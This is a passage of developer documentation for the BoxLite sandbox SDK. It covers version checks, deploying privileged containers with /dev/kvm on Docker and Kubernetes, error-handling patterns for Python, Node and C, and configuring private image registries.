example, the 0.9.0 release documents two Critical CVEs fixed in `< 0.9.0`). ### Where the version history actually lives | Source | What it gives you | Link | | - | - | - | | GitHub Releases | Per-version notes ("What's Changed", security advisories, contributor PRs) | [https://github.com/boxlite-ai/boxlite/releases](https://github.com/boxlite-ai/boxlite/releases) | | Git tags | The exact commit each version points to (`v0.5.x` onward) | [https://github.com/boxlite-ai/boxlite/tags](https://github.com/boxlite-ai/boxlite/tags) | | Security advisories | Published CVEs / GHSAs and affected version ranges | [https://github.com/boxlite-ai/boxlite/security/advisories](https://github.com/boxlite-ai/boxlite/security/advisories) | | PyPI | Python package release history | [https://pypi.org/project/boxlite/#history](https://pypi.org/project/boxlite/#history) | | npm | Node package release history | [https://www.npmjs.com/package/@boxlite-ai/boxlite?activeTab=versions](https://www.npmjs.com/package/@boxlite-ai/boxlite?activeTab=versions) | ## Quick Example — check which version you have The most useful "changelog" action you can take right now is confirming your installed version, then comparing it against the GitHub Releases list. ### Python ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Requires: pip install boxlite import boxlite try: # boxlite.__version__ reads importlib.metadata.version("boxlite") print("Installed boxlite version:", boxlite.__version__) except Exception as err: # importlib metadata can fail in odd install layouts print("Could not resolve boxlite version:", err) ``` ### Node ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # @boxlite-ai/boxlite is the real package name (NOT 'boxlite') npm ls @boxlite-ai/boxlite ``` ### CLI ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # The CLI binary is named 'boxlite' boxlite --version ``` The C SDK exposes the version string via the `boxlite_version()` function (declared in `boxlite.h`) if you need it from native code. ## Parameters & Returns This page describes no callable API. The single programmatic touchpoint is the version accessor: | SDK | Accessor | Type / Returns | Notes | | - | - | - | - | | Python | `boxlite.__version__` | `str` | Backed by `importlib.metadata.version("boxlite")` | | Node | `npm ls @boxlite-ai/boxlite` (shell) | text | No JS constant is exported for the version | | C | `boxlite_version()` | `const char *` | Declared in `boxlite.h` | | CLI | `boxlite --version` | text | — | ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | Looking for a `CHANGELOG.md` in the repo | None exists; release notes are generated per GitHub Release | Use the GitHub Releases page, not a repo file | | `boxlite.__version__` shows an older version than expected | A stale install is shadowing the new one (e.g. another virtualenv) | Reinstall: `pip install --upgrade boxlite`, then re-run the Quick Example | | `npm ls @boxlite-ai/boxlite` reports `(empty)` | The package is installed under the wrong name | Install the correct package: `npm install @boxlite-ai/boxlite` (the bare name `boxlite` is a different/unrelated package) | | The version in the source tree differs from the one you installed | The source tree may be ahead of the last published release | Trust the registry (`pip index versions boxlite` / `npm view @boxlite-ai/boxlite version`) and GitHub Releases for what actually shipped | | Running BoxLite `< 0.9.0` | Two Critical CVEs were fixed in 0.9.0 (read-only volume remount bypass; OCI layer symlink escape) | Upgrade immediately; see the security advisories link above | ## Why this is a stub A documentation Changelog should be curated and stable, with human-written highlights per release. BoxLite's history today is auto-generated at release time and not mirrored into a docs source file. Until that source of truth is decided (curated notes vs. mirroring GitHub Releases), this page intentionally points you to the live, authoritative sources rather than duplicating a snapshot that would immediately go stale. # Deploy in Docker or Kubernetes Source: https://docs.boxlite.ai/guides/deployment Run a BoxLite-backed service inside Docker or on Kubernetes, where each sandbox still needs hardware virtualization. One constraint shapes every decision here: your container must reach the host's virtualization device (`/dev/kvm` on Linux). Granting it is a privileged operation with a real security cost, and every decision below is about paying that cost deliberately. ## Prerequisites * A working BoxLite install (Python `boxlite` or Node `@boxlite-ai/boxlite`) and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). | Item | Requirement | Notes | | - | - | - | | Architecture | Linux x86\_64 or ARM64 | Matches BoxLite's released platforms | | Container runtime | Docker, or a Kubernetes cluster whose nodes expose `/dev/kvm` | Nodes without KVM cannot start boxes | > BoxLite needs hardware virtualization to start each sandbox microVM. A > container has no access to `/dev/kvm` by default, so a box created inside an > unprivileged container fails to start and raises a standard `RuntimeError` > (Python) / `Error` (Node). The configuration below is what grants that access. *** ## Why privileged access is required Each BoxLite sandbox is a microVM, not a shared-kernel container. Starting a microVM requires the kernel virtualization interface, which on Linux is the character device `/dev/kvm`. Two conditions must hold inside the container: 1. The `/dev/kvm` device node must be present in the container. 2. The process must have permission to open it. Granting both typically means running the container with elevated privileges (`--privileged` in Docker, `securityContext.privileged: true` in Kubernetes) and passing the device through from the host. This is the same trust boundary you accept whenever you run nested virtualization in a container. Security consequence: a privileged container can largely bypass container isolation from the host. The isolation BoxLite gives you is *inside* the boxes (each box is a microVM that untrusted agent code cannot escape), not between the agent service container and its host. Treat the host that runs the agent service as part of your trusted compute base, and do not co-tenant it with workloads you do not trust. *** ## Quick Example: minimal agent service A minimal agent service is your code plus the SDK. The example below is a small handler that runs untrusted code in a `CodeBox` and returns the result; it is what you would containerize. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # app.py — minimal agent execution service import asyncio import boxlite async def execute_untrusted(code: str) -> dict: """Run agent-generated Python in an isolated microVM and return the result.""" try: async with boxlite.CodeBox() as codebox: # CodeBox defaults to the python:slim image; cpus/memory_mib default # to the engine's allocation unless set explicitly. output = await codebox.run(code) return {"ok": True, "output": output} except RuntimeError as exc: # No virtualization / image pull failure raises a standard RuntimeError return {"ok": False, "error": str(exc)} if __name__ == "__main__": result = asyncio.run(execute_untrusted("print(40 + 2)")) print(result) ``` The rest of this page is about giving the container running `app.py` access to `/dev/kvm`. *** ## Docker deployment Run the agent service inside a Docker container. The container must run with `--privileged` and have `/dev/kvm` passed through. ### Dockerfile ```dockerfile theme={"theme":{"light":"github-light","dark":"github-dark"}} FROM ubuntu:22.04 # Install runtime dependencies RUN apt-get update && apt-get install -y \ python3 \ python3-pip \ && rm -rf /var/lib/apt/lists/* # Install the BoxLite SDK RUN pip3 install boxlite # Copy the agent service COPY app.py /app/app.py WORKDIR /app CMD ["python3", "app.py"] ``` ### Run with KVM access ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} docker run --privileged --device /dev/kvm:/dev/kvm myapp ``` | Flag | Why it is needed | | - | - | | `--privileged` | Grants the permissions the process needs to open the virtualization device and start microVMs | | `--device /dev/kvm:/dev/kvm` | Passes the host KVM device node into the container so boxes can be created | ### Multi-tenancy warning Running BoxLite inside a privileged Docker container is appropriate for single-tenant deployments where you control everything on the host. It is **not** recommended for multi-tenant environments: a privileged container weakens the boundary between the container and its host, so a compromise of the agent service container can affect the host and any neighbors on it. For multi-tenant isolation, run each tenant's agent service on its own dedicated VM rather than relying on the container boundary. *** ## Kubernetes deployment On Kubernetes, the same two requirements apply: the pod must be privileged, and `/dev/kvm` must be mounted from the host. Because only nodes that actually expose `/dev/kvm` can start boxes, schedule the pod onto KVM-enabled nodes with a node selector. ### Pod manifest ```yaml theme={"theme":{"light":"github-light","dark":"github-dark"}} apiVersion: v1 kind: Pod metadata: name: boxlite-app spec: # Schedule only onto nodes that expose /dev/kvm. Label such nodes with, e.g., # kubectl label node boxlite.ai/kvm=true nodeSelector: boxlite.ai/kvm: "true" containers: - name: app image: myapp:latest securityContext: privileged: true # required to open /dev/kvm and start microVMs volumeMounts: - name: dev-kvm mountPath: /dev/kvm resources: limits: memory: "4Gi" cpu: "2" volumes: - name: dev-kvm hostPath: path: /dev/kvm type: CharDevice # /dev/kvm is a character device, not a regular file ``` | Field | Why it is needed | | - | - | | `securityContext.privileged: true` | Lets the container process open `/dev/kvm` and create microVMs | | `hostPath` volume with `type: CharDevice` | Mounts the host's KVM character device into the pod; `CharDevice` makes Kubernetes validate it as a character special file | | `nodeSelector` | Pins the pod to nodes that actually have `/dev/kvm`; on a node without it the boxes fail to start | | `resources.limits` | Bounds the pod itself; size it for the number of concurrent boxes the agent will run, since each box consumes host memory and CPU | ### Notes * Privileged pods are a cluster-wide security consideration. If your cluster enforces Pod Security admission, a `privileged` pod requires the `privileged` policy level for its namespace. * Only nodes with KVM available can run these pods. Label and select those nodes explicitly; do not rely on default scheduling. * The container's `resources.limits` bound the agent service process, not the individual boxes. Set per-box limits with `cpus` / `memory_mib` on `BoxOptions` (see [Compute Resources](/manage-sandbox/compute-resources)), and ensure the pod limit is large enough for the sum of concurrent boxes plus overhead. *** ## Pre-deployment checklist Before shipping a BoxLite-backed agent service: * **Per-box resource limits set.** Configure `cpus` / `memory_mib` (and `disk_size_gb` if you need persistence) on every box so a runaway agent cannot exhaust the host. See [Running sandboxes at scale](/guides/at-scale). * **Error handling covers low-level failures.** Catch standard `RuntimeError` (Python) / bare `Error` (Node) in addition to `BoxliteError`; image pull failures and missing virtualization do not subclass `BoxliteError`. See [Error Handling](/guides/error-handling). * **Cleanup is guaranteed.** Use `async with` for one-shot boxes, or `runtime.remove(id, force=True)` for runtime-managed boxes, so sessions are reclaimed. * **Concurrency is sized to the host.** Estimate total resource use as per-box limits times expected concurrency, and keep it under the pod/host limits. * **Host trust is appropriate.** The privileged container does not isolate the agent service from its host; keep untrusted neighbors off the host. *** ## Troubleshooting ### Box fails to start inside the container with `RuntimeError` The most common cause is that `/dev/kvm` is not accessible inside the container. Verify: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Inside the container ls -l /dev/kvm # must exist ``` For Docker, confirm both `--privileged` and `--device /dev/kvm:/dev/kvm` are set. For Kubernetes, confirm `securityContext.privileged: true`, the `hostPath` mount with `type: CharDevice`, and that the pod landed on a KVM-enabled node. ### Pod is rejected by Pod Security admission A `privileged` pod requires the `privileged` Pod Security level for its namespace. Either run it in a namespace labeled for the privileged policy, or move the agent service to a dedicated cluster/node pool that permits privileged pods. ### Boxes start but the pod is OOM-killed under load The pod's `resources.limits.memory` bounds the whole pod, including every box's microVM memory. Either lower per-box `memory_mib` and concurrency, or raise the pod memory limit to cover the sum of concurrent boxes plus overhead. See [Compute Resources](/manage-sandbox/compute-resources). ### Node has no `/dev/kvm` Not every node supports nested virtualization (this is common on cloud instance types without nested-virt enabled). Label only the nodes that expose `/dev/kvm` and use a `nodeSelector` so the pod is never scheduled onto a node that cannot start boxes. *** ## See Also * [Running sandboxes at scale](/guides/at-scale) — concurrency, resource limits, isolation, cleanup * [Error Handling](/guides/error-handling) — distinguishing command failures from low-level runtime errors * [Building from source](/development/building-from-source) — when you need a custom or locally built runtime * [Compute Resources](/manage-sandbox/compute-resources) — `cpus` / `memory_mib` / `disk_size_gb` * [Secrets and Security](/manage-sandbox/secrets-and-security) — locking down the blast radius # Error handling Source: https://docs.boxlite.ai/guides/error-handling Tell command failure, timeout, parse failure, and low-level runtime errors apart — and recover from each separately. One fact shapes everything else: **`box.exec(...)` does not raise on a non-zero exit code.** It returns an `ExecResult` and leaves the decision to you. The `BoxliteError` hierarchy covers the other failures. ## Which failures actually raise | Failure scenario | Python raises | Node throws | Catchable by `except BoxliteError`? | | - | - | - | - | | Command non-zero exit | Does not raise (returns ExecResult) | Does not throw (returns ExecResult) | — | | Missing command binary (spawn failure) | Raises `RuntimeError` (message contains `spawn_failed: ... not found in $PATH`) | Throws a bare `Error` (message contains `spawn_failed`) | No (Python: catch with `except RuntimeError`; Node: catch in the `else` branch) | | Image pull failure (network instability, etc.) | `RuntimeError` | `Error` | No | | Virtualization unavailable / box fails to start | `RuntimeError` | `Error` | No | | `SimpleBox` missing both `image` and `rootfs_path` | `ValueError` | Construction error | No | | Calling `id`/`info`/`exec`/`stop` before start | `RuntimeError` | Throws | No | | The third volume element is a string (should be bool) | `TypeError` | Type error | No | > Practical takeaway: catch in the order **specific subclasses > (`ExecError`/`TimeoutError`/`ParseError`) -> `BoxliteError` -> standard > `RuntimeError`/`Error`**, otherwise low-level failures escape. *** ## Handling all four in one place The most concise, directly runnable robust execution pattern: run a command, check the exit code, raise `ExecError` on failure, and catch every possible failure. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox, ExecError, TimeoutError, BoxliteError async def main() -> None: try: # SimpleBox is an async context manager; the box is actually created and started only on entry async with SimpleBox(image="alpine:latest") as box: # A non-zero exit code does NOT raise; it returns an ExecResult; check exit_code yourself result = await box.exec("sh", "-c", "echo hello && exit 0") if result.exit_code != 0: # Promote a command failure to an exception so upper layers handle it uniformly raise ExecError( command="sh -c 'echo hello && exit 0'", exit_code=result.exit_code, stderr=result.stderr, ) print("stdout:", result.stdout.strip()) except ExecError as e: # The command itself failed (non-zero exit) print(f"command failed: {e.command} -> exit {e.exit_code}\n{e.stderr}") except TimeoutError as e: # Operation timed out print(f"operation timed out: {e}") except BoxliteError as e: # Other BoxLite-layer errors print(f"BoxLite error: {e}") except RuntimeError as e: # Low-level failures (image pull failure / virtualization unavailable) raise a standard RuntimeError, not BoxliteError print(f"runtime failure (check virtualization/network): {e}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { SimpleBox, ExecError, BoxliteError } from "@boxlite-ai/boxlite"; async function main(): Promise { try { // SimpleBox implements Symbol.asyncDispose; use await using for automatic cleanup await using box = new SimpleBox({ image: "alpine:latest" }); const result = await box.exec("sh", "-c", "echo hello && exit 0"); if (result.exitCode !== 0) { throw new ExecError( "sh -c 'echo hello && exit 0'", result.exitCode, result.stderr, ); } console.log("stdout:", result.stdout.trim()); } catch (err) { if (err instanceof ExecError) { console.error(`command failed: ${err.command} -> exit ${err.exitCode}\n${err.stderr}`); } else if (err instanceof BoxliteError) { console.error(`BoxLite error: ${(err as Error).message}`); } else { console.error(`low-level failure: ${(err as Error).message}`); } } } main(); ``` *** ## Parameters and Returns ### Exception hierarchy All SDK-layer errors inherit from `BoxliteError`, so `except BoxliteError` / `instanceof BoxliteError` catches every error the SDK actively raises. | Exception class | Inherits from | When raised | Key attributes | | - | - | - | - | | `BoxliteError` | `Exception` (Py) / `Error` (TS) | Base class for all BoxLite SDK-layer errors | `message` | | `ExecError` | `BoxliteError` | Command execution failed (**you must check the exit code and raise it yourself**; the SDK does not auto-raise on non-zero exit) | `command` / `exit_code` (`exitCode`) / `stderr` | | `TimeoutError` | `BoxliteError` | Operation timed out (e.g. waiting for desktop/browser readiness) | `message` | | `ParseError` | `BoxliteError` | Failed to parse structured output (e.g. parsing coordinates/JSON) | `message` | > Note: Python's `boxlite.TimeoutError` is a subclass of `BoxliteError`, **not** > Python's built-in `builtins.TimeoutError`. If you import both, use an alias to > disambiguate. ### `ExecError` constructor parameters (Python) | Parameter | Type | Required | Description | | - | - | - | - | | `command` | `str` | Yes | The failed command string | | `exit_code` | `int` | Yes | The non-zero exit code | | `stderr` | `str` | Yes | The command's standard error output | ### `ExecError` constructor parameters (Node, positional) | Positional argument | Type | Required | Description | | - | - | - | - | | `command` | `string` | Yes | The failed command | | `exitCode` | `number` | Yes | The non-zero exit code | | `stderr` | `string` | Yes | Standard error output | ### `ExecResult` (the return value of `box.exec(...)`, **not** an exception) This is the core of robust error handling: check the return value first, then decide whether to raise. | Field (Python) | Field (Node) | Type | Description | | - | - | - | - | | `exit_code` | `exitCode` | `int` / `number` | Process exit code; `0` success, non-zero failure. **The SDK does not raise on this** | | `stdout` | `stdout` | `str` / `string` | Standard output | | `stderr` | `stderr` | `str` / `string` | Standard error | | `error_message` | — | `str \| None` | Python only; non-None when the process died abnormally | > Note: the `stdout`/`stderr` above apply to the `ExecResult` returned by the > **high-level `SimpleBox.exec(...)`**. If you use the **native** > `await (await box.exec(...)).wait()` path, its `ExecResult` **has only > `exit_code` and `error_message`** — accessing `.stdout`/`.stderr` raises > `AttributeError`. To get output, use `SimpleBox.exec`. ## Recommended wrapper: a `run_checked` that raises `ExecError` Wrap "check the exit code + raise ExecError" into a helper so that the upper layer only needs a single try/except style. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox, ExecError, TimeoutError, BoxliteError async def run_checked(box: SimpleBox, cmd: str, *args: str, timeout: float | None = None): """Run a command; raise ExecError on non-zero exit. timeout is a float in seconds.""" # SimpleBox.exec's timeout parameter is named timeout (float); the native Box.exec uses timeout_secs result = await box.exec(cmd, *args, timeout=timeout) if result.exit_code != 0: full_cmd = " ".join([cmd, *args]) raise ExecError(command=full_cmd, exit_code=result.exit_code, stderr=result.stderr) return result.stdout async def main() -> None: try: async with SimpleBox(image="alpine:latest") as box: out = await run_checked(box, "sh", "-c", "echo ok", timeout=10.0) print("ok:", out.strip()) # This one fails with exit code 7 -> raises ExecError await run_checked(box, "sh", "-c", "echo boom 1>&2; exit 7") except ExecError as e: print(f"command failed: '{e.command}' exit={e.exit_code} stderr={e.stderr.strip()}") except TimeoutError as e: print(f"timed out: {e}") except BoxliteError as e: print(f"BoxLite error: {e}") except RuntimeError as e: print(f"low-level runtime failure: {e}") if __name__ == "__main__": asyncio.run(main()) ``` ### Distinguishing a timeout from a general failure > **Key fact**: when `SimpleBox.exec(timeout=...)` hits a timeout it **does not > raise `boxlite.TimeoutError`** — it terminates the process on the sandbox > side with `SIGTERM` and returns `ExecResult(exit_code == -15)`. So in the > example below, `sleep 5 / timeout=1.0` reaches `print("exit_code:", > result.exit_code)` and prints `-15`; the `except TimeoutError` branch **does > not fire**. Always detect a timeout by **checking `result.exit_code`** > (negative = terminated by signal); do not rely on `except TimeoutError`. > > `boxlite.TimeoutError` mainly models a higher-level SDK "waited for a > readiness state and timed out" (e.g. waiting for desktop/browser readiness), > not an `exec` command timeout. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox, TimeoutError, ExecError, BoxliteError async def main() -> None: try: async with SimpleBox(image="alpine:latest") as box: # Give a 1-second timeout while the command deliberately sleeps 5 seconds result = await box.exec("sh", "-c", "sleep 5", timeout=1.0) # Timeout does not raise; it returns exit_code == -15 (SIGTERM). Detect timeout here. if result.exit_code < 0: print(f"command killed by signal (likely a timeout), exit_code={result.exit_code}; retry or increase timeout") else: print("exit_code:", result.exit_code) except TimeoutError: # Note: an exec timeout does not reach here (see explanation above); this branch is for high-level "readiness wait" timeouts print("readiness wait timed out; retry or increase timeout") except ExecError as e: print(f"command failed: {e}") except BoxliteError as e: print(f"BoxLite error: {e}") except RuntimeError as e: print(f"low-level failure: {e}") if __name__ == "__main__": asyncio.run(main()) ``` *** ## Troubleshooting ### You try/except `ExecError`, but a command failure is not caught **Cause**: `box.exec(...)` **does not raise** on a non-zero command exit; it returns `ExecResult(exit_code != 0)`. **Fix**: after running, check `result.exit_code` (Node: `result.exitCode`) and `raise ExecError(...)` yourself on failure, or use the `run_checked` wrapper above. ### A missing command (spawn failure) raises in both SDKs **Python**: calling `box.exec(...)` for a nonexistent command **raises `RuntimeError`**, with a message like `internal error: spawn_failed: internal error: build failed: ... executable '' not found in $PATH`. It does not return an `ExecResult` and is not a `BoxliteError` --- `isinstance(err, BoxliteError)` is `False`. So catch it with `except RuntimeError`. **Node**: `SimpleBox.exec` throws a **bare `Error`** on spawn failure, with a message containing `spawn_failed`, and `err instanceof BoxliteError === false`. **Fix**: on Python, catch spawn failures with `except RuntimeError` (placed after `except BoxliteError`); on Node, catch the non-`BoxliteError` bare `Error` in the `else` branch. Do not assume a missing command returns an `ExecResult` or is a `BoxliteError`. ### `from boxlite import TimeoutError` collides with Python's built-in `TimeoutError` **Cause**: `boxlite.TimeoutError` is a subclass of `BoxliteError` — the same name as `builtins.TimeoutError` but a different class. **Fix**: import with an alias: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import TimeoutError as BoxliteTimeoutError ``` ### Passing the volume string `"ro"`/`"rw"` raises `TypeError` **Error message**: `TypeError: argument 'volumes': 'str' object cannot be cast as 'bool'`. **Cause**: the SDK's third volume element is the **bool `read_only`** (`True` = read-only / `False` = read-write), not the CLI's `"ro"`/`"rw"` string. **Fix**: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Correct: the third element is a bool; a 2-tuple also works (default read-write) from boxlite import BoxOptions opts = BoxOptions( image="alpine:latest", volumes=[("/host/data", "/data", True)], # True = read-only ) # Wrong: volumes=[("/host/data", "/data", "ro")] -> TypeError ``` > Note: only the **CLI**'s `-v host:box:ro` syntax uses `ro`/`rw` strings; the > SDK API uses a bool, so do not confuse them. ### Image pull failure / network instability **Error message**: `RuntimeError` (not `BoxliteError`). **Fix**: catch with `except RuntimeError` and retry (retry needs network access and a correctly spelled image reference). Always be online for the first run. ### Box fails to start: no virtualization **Cause**: BoxLite needs Linux + KVM/hardware virtualization; macOS uses the built-in Hypervisor.framework (no /dev/kvm required); WSL2 needs KVM with the user in the `kvm` group. Without virtualization, the box cannot start. **Symptom**: entering `async with SimpleBox(...)` or the first `exec` raises `RuntimeError` (Python) / `Error` (Node); the process itself does not crash and can be caught and degraded with try/except. **Fix**: run in an environment that supports virtualization; in CI, confirm `/dev/kvm` is mounted and permissioned. ### C SDK: the command failure code and the API call error code are two distinct concepts In the C SDK you likewise distinguish two layers: the API call itself returns a `BoxliteErrorCode` (such as `NotFound=2`, `InvalidArgument=5`), while the command process's exit code is reported separately in `ExecResult.exit_code` — an API return of `Ok` does not mean the command succeeded. See `examples/c/04_error_handling.c`: ```c theme={"theme":{"light":"github-light","dark":"github-dark"}} // The API call succeeded (code==Ok), but you still must check the process exit code separately BoxliteErrorCode code = boxlite_simple_run(box, "/bin/ls", args, 1, &result, &error); if (code == Ok) { printf("API ok, process exit code=%d\n", result->exit_code); // may be non-zero boxlite_result_free(result); } else { // Branch by error code if (code == NotFound) { /* handle specifically */ } boxlite_error_free(&error); } ``` # Image registry configuration Source: https://docs.boxlite.ai/guides/image-registry-configuration Pull agent images from private or custom OCI registries — a corporate registry, ghcr.io, quay.io, or a local caching proxy — instead of only Docker Hub. You declare the registries once at runtime level, and unqualified image names resolve against them in the order you list. ## Prerequisites * A working BoxLite install (Python `boxlite` or Node `@boxlite-ai/boxlite`) and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). * The target image registry is reachable from your machine; for a private registry, have credentials ready (username/password or bearer token). ### How it works When you create a box with a "non-fully-qualified" reference (such as `image="alpine"`), BoxLite must resolve it to a full reference (such as `docker.io/library/alpine:latest`). * With no registries configured, the default is `docker.io` (Docker Hub). * With `image_registries` configured, BoxLite tries each registry that has `search=True` in list order, and the first success wins; if all fail, it raises. * **A fully-qualified reference (such as `quay.io/prometheus/prometheus:v2.40.1`) always skips the lookup list and pulls directly from that registry.** * The SDK reads no local state: it **does not** automatically read any local config file. The registry list is supplied entirely by your code, so behavior is deterministic and does not depend on the host machine's environment. ## Quick Example The simplest flow: have BoxLite check `ghcr.io` first, then fall back to `docker.io`, then create a box with `alpine` and run a command. You can copy and run it directly. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main() -> None: # 1) Declare image registries (tried in order; the first success wins) # search=True means this registry participates in resolving "non-fully-qualified" image names options = boxlite.Options( image_registries=[ boxlite.ImageRegistry(host="ghcr.io", search=True), boxlite.ImageRegistry(host="docker.io", search=True), ] ) # 2) Boxlite is a synchronous context manager (use with, not await) with boxlite.Boxlite(options) as runtime: # 3) SimpleBox is an async context manager (use async with) # 'alpine' resolves to ghcr.io/library/alpine -> on failure, docker.io/library/alpine try: async with boxlite.SimpleBox(image="alpine:latest", runtime=runtime) as box: result = await box.exec("cat", "/etc/os-release") print(result.stdout) except RuntimeError as exc: # An image pull failure (network/auth/not-found) raises a standard RuntimeError print(f"box failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { JsBoxlite, SimpleBox } from "@boxlite-ai/boxlite"; async function main(): Promise { // JsBoxlite is the runtime class (note: there is no bare Boxlite class) const runtime = new JsBoxlite({ imageRegistries: [ { host: "ghcr.io", search: true }, { host: "docker.io", search: true }, ], }); const box = new SimpleBox({ image: "alpine:latest", runtime }); try { const result = await box.exec("cat", "/etc/os-release"); console.log(result.stdout); } catch (err) { console.error("box failed:", err); } finally { await box.stop(); } } main(); ``` ## Private / authenticated registries A private registry takes credentials via `ImageRegistry`'s `username`/`password` (Basic auth) or `bearer_token` (Bearer auth) fields. **Username and password must be provided together**; supplying only one raises. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import os import boxlite async def main() -> None: options = boxlite.Options( image_registries=[ # Private enterprise registry: Basic auth (username + password) boxlite.ImageRegistry( host="registry.example.com", search=True, # Do not hardcode credentials in source; read from environment variables username=os.environ.get("REGISTRY_USER", ""), password=os.environ.get("REGISTRY_PASS", ""), ), # Local HTTP caching proxy (plaintext HTTP, requires explicit transport="http") boxlite.ImageRegistry( host="registry.local:5000", # host[:port], not a URL transport="http", search=True, ), # Fallback: Docker Hub boxlite.ImageRegistry(host="docker.io", search=True), ] ) with boxlite.Boxlite(options) as runtime: try: async with boxlite.SimpleBox( image="my-internal-app:latest", runtime=runtime ) as box: result = await box.exec("echo", "hello from private image") print(result.stdout) except RuntimeError as exc: print(f"pull/start failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` For Bearer token auth, replace `username`/`password` with `bearer_token`: ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import os import boxlite registry = boxlite.ImageRegistry( host="ghcr.io", search=True, # Registries that support token auth, such as GitHub Container Registry bearer_token=os.environ.get("GHCR_TOKEN", ""), ) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { JsBoxlite, SimpleBox } from "@boxlite-ai/boxlite"; const runtime = new JsBoxlite({ imageRegistries: [ { host: "registry.example.com", search: true, // Credentials go in the auth sub-object (username+password or bearerToken) auth: { username: process.env.REGISTRY_USER ?? "", password: process.env.REGISTRY_PASS ?? "", }, }, { host: "registry.local:5000", transport: "http", search: true }, { host: "docker.io", search: true }, ], }); const box = new SimpleBox({ image: "my-internal-app:latest", runtime }); try { const result = await box.exec("echo", "hello"); console.log(result.stdout); } catch (err) { console.error(err); } finally { await box.stop(); } ``` Node puts auth in an `auth` sub-object, unlike Python's flat fields. ## Parameters and Returns ### `boxlite.Options` (Python) | Parameter | Type | Required | Default | Description | | - | - | - | - | - | | `home_dir` | `str \| None` | Optional | `None` | BoxLite data/cache directory; `None` uses the default location | | `image_registries` | `list[ImageRegistry]` | Optional | `[]` | Image registry list; an empty list is equivalent to using only `docker.io` | After construction, pass it to `boxlite.Boxlite(options)` to get a runtime handle (a synchronous context manager). ### `boxlite.ImageRegistry` (Python) Constructor signature: `ImageRegistry(host, transport="https", skip_verify=False, search=False, username=None, password=None, bearer_token=None)` | Parameter | Type | Required | Default | Description | | - | - | - | - | - | | `host` | `str` | **Required** | — | Registry host, in the form `host[:port]` (e.g. `ghcr.io`, `registry.local:5000`). **Must not contain `://` or `/`**, otherwise it raises | | `transport` | `str` | Optional | `"https"` | Only accepts `"https"` or `"http"`; `"http"` is for plaintext HTTP registries | | `skip_verify` | `bool` | Optional | `False` | When `True`, skips HTTPS TLS certificate and hostname verification (self-signed certificate scenario) | | `search` | `bool` | Optional | `False` | When `True`, this registry participates in lookup fallback for "non-fully-qualified" image names. **Note the default is `False`** | | `username` | `str \| None` | Optional | `None` | Basic auth username; must be paired with `password` | | `password` | `str \| None` | Optional | `None` | Basic auth password; must be paired with `username` | | `bearer_token` | `str \| None` | Optional | `None` | Bearer token auth. If you also set `username`/`password`, the bearer token wins — they are not rejected | ### `JsImageRegistry` (Node) | Field | Type | Required | Default | Description | | - | - | - | - | - | | `host` | `string` | **Required** | — | Registry host `host[:port]` | | `transport` | `"https" \| "http"` | Optional | `"https"` | Transport protocol | | `skipVerify` | `boolean` | Optional | `false` | Skip TLS verification | | `search` | `boolean` | Optional | `false` | Participate in non-qualified-name lookup fallback | | `auth` | `JsImageRegistryAuth` | Optional | — | Auth sub-object: `{ username?, password?, bearerToken? }` | ### Returns / behavior | Operation | Return / effect | | - | - | | `boxlite.Boxlite(options)` | Runtime handle (a synchronous context manager); construction is synchronous, do not `await` | | `runtime.create(...)` / `SimpleBox(... runtime=runtime)` | Resolves the image with the configured registry list and creates the box | | Non-qualified-name pull | Tries the `search=True` registries in list order, first success wins; if all fail it raises `RuntimeError` (Python) / usually a bare `Error` (Node) | | Fully-qualified name (reference with a host) | Skips the lookup list and pulls directly from that host | > Tip: `box.exec(...)` **does not** raise when a command exits with a non-zero > code; it returns an `ExecResult` (Python fields `exit_code/stdout/stderr`; > Node `exitCode/stdout/stderr`). Only image-level failures (pull/auth) raise. ## Troubleshooting ### `transport` is not a string literal A common mistake is passing a boolean or an uppercase form. `transport` only accepts `"https"` or `"http"`: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} RuntimeError: unsupported registry transport: HTTP ``` Fix: use the lowercase string `transport="http"` or `transport="https"` (defaults to https, can be omitted). ### `host` was written as a URL `host` must be `host[:port]`; it cannot have a protocol prefix or a path: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Wrong boxlite.ImageRegistry(host="https://registry.example.com") # RuntimeError: image registry host must be host[:port], not a URL: https://registry.example.com # Correct boxlite.ImageRegistry(host="registry.example.com", transport="https") ``` An empty host also raises: `RuntimeError: image registry host is required`. ### Only a username was given (or only a password) The two Basic auth fields must be paired: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} RuntimeError: registry username and password must be provided together ``` Fix: provide both `username` and `password`; if using token auth, switch to `bearer_token` (Python) / `auth.bearerToken` (Node), and do not mix them. ### A registry is configured but pulls still go to Docker Hub / the image is not found The most common cause is not setting `search=True`. This field **defaults to `False`**, and a registry that is `False` does not participate in non-qualified-name lookup: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # This configuration has no effect on non-qualified names like 'alpine' boxlite.ImageRegistry(host="ghcr.io") # search defaults to False # To participate in lookup fallback, it must be explicitly enabled boxlite.ImageRegistry(host="ghcr.io", 